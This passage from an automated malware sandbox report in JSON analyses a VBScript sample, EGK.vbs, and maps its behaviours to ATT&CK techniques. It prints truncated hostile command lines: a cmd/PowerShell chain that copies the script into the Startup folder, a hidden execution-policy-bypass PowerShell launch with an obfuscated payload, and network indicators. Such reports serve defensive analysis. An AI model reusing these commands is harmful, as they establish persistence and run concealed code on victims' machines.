information","description":"file/memory contains long string with (Indicator: \" Win32_NetworkAdapter\"; File: \"EGK.vbs.bin\")\n Found string \"strQuery = \"Select * from Win32_NetworkAdapter \"\" (Indicator: \" Win32_NetworkAdapter\"; File: \"EGK.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-515","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"$33","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET USER_AGENTS Microsoft Device Metadata Retrieval Client User-Agent\" (SID: 2027390, Rev: 4, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 4, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Microsoft Connection Test\" (SID: 2031071, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$35","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"powershell.exe\" called \"CopyFileW\" to copy C:\\EGK.vbs to new location %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs (UID: 00000000-00002792)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$36","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','C:\\Use\" - (UID: 00000000-00001268)\n \"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$#\" - (UID: 00000000-00001268)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Mi\" - (UID: 00000000-00000424)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -windowstyle hidden -executionpolicy bypss -NoProfile -command \"$imag\" - (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"8.249.11.254:80\"\n \"104.21.45.138:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"EGK.vbs.bin\")\n Found reference to API \"Set objIntro = xmlDoc.CreateProcessingInstruction (\"xml\", \"version='1.0'\")\" (Indicator: \"CreateProcess\"; File: \"EGK.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForMultipleObjects@KERNEL32.dll at 2482-330-00000001000098CC\n Sleep@KERNEL32.dll at 2482-1-000000010000F3CC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.dll at 2482-313-000000010000B7F8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$38","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','C:\\Use\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00001268-00000C41-5631816482\")\n Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')\"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$39","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"\n \"Global\\CLR_PerfMon_WrapMutex\"\n \"_SHuassist.mtx\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"Tar187.tmp\" as clean (type is \"data\")\n Antivirus vendors marked dropped file \"DISMHOST.EXE.64DA5164.bin\" as clean (type is \"PE32+ executable (GUI) x86-64 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Executes Powershell command strings","description":"$3a","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3b","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Found WMI keywords in script (string)","description":"Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: EGK.vbs.bin]","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-155","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at E8150000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at E77B0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at FC720000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at FC210000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FEAD0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FEAD0000\n \"PING.EXE\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FEAD0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FEAD0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"$3d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$3f","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00000000-00000424) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"cmd.exe\" (UID: 00000000-00000424) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"powershell.exe\" (UID: 00000000-00003372) was launched with modified environment variables: \"Path\"\n Process \"powershell.exe\" (UID: 00000000-00001464) was launched with modified environment variables: \"PSModulePath\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"pti.store.microsoft.com\"\n \"uploaddeimagens.com.br\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Reads configuration files (.ini files)","description":"\"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\Public\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\Public\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Renames files with double extension (often done by ransomware)","description":"\"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF10b0c8.TMP\"\n \"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF10ce27.TMP\"\n \"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF10e697.TMP\"","origin":"API Call","mitre_attack_id":"T1036.007","relevance":3,"id":"api-163","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\\\EGK.vbs','%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\ LD.vbs')\"\" on 2023-8-14.13:20:02.815\n \"/c \"powershell -command [System.IO.File]::Copy('C:\\\\EGK.vbs','%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\ LD.vbs')\"\" on 2023-8-14.13:20:06.369","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$41","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$42","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Windows Script Host executes Powershell","description":"Process \"%WINDIR%\\System32\\WScript.exe\" started \"powershell.exe\" (UID: 00000000-00003372)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-321","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Cab186.tmp\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar187.tmp\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Calls an API typically used to set the date and time of the file","description":"\"powershell.exe\" called \"SetFileTime\" on file C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar187.tmp (UID: 00000000-00001464)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":2,"id":"api-205","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates VBS file in Windows Startup folder","description":"\"powershell.exe\" trying to write a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs\"\n \"powershell.exe\" trying to write a file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs\"","origin":"API Call","mitre_attack_id":"T1547.001","relevance":3,"id":"api-210","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"PING.EXE\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates new processes","description":"\"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\system32\\PING.EXE\")\n \"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\system32\\cmd.exe\")\n \"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\")\n \"powershell.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\")","origin":"API Call","mitre_attack_id":"T1106","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$43","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops executable files","description":"\"DISMHOST.EXE.64DA5164.bin\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: 00000000-00001268]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops script (vb/js) files","description":"\"LD.vbs\" has type \"Little-endian UTF-16 Unicode text with very long lines with CRLF line terminators\"- [targetUID: 00000000-00001268]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-40","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"Tar187.tmp\" has type \"data\" - Location: [%TEMP%\\Tar187.tmp]\n \"Cab186.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\" - Location: [%TEMP%\\Cab186.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"PING.EXE\" monitors \"HKLM\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 978944)\n \"PING.EXE\" monitors \"HKLM\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 4270536192)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$44","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$45","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\egk.vbs\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\scrrun.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay the execution of current thread\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WScript.exe\" trying to touch file \"\\FileSystem\\Filters\\FltMgrMsg\"\n \"WScript.exe\" trying to touch file \"\\Device\\MountPointManager\"\n \"WScript.exe\" trying to touch file \"IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&2848384c&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\"\n \"WScript.exe\" trying to touch file \"C:\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\sechost.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\version.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"","origin":"API 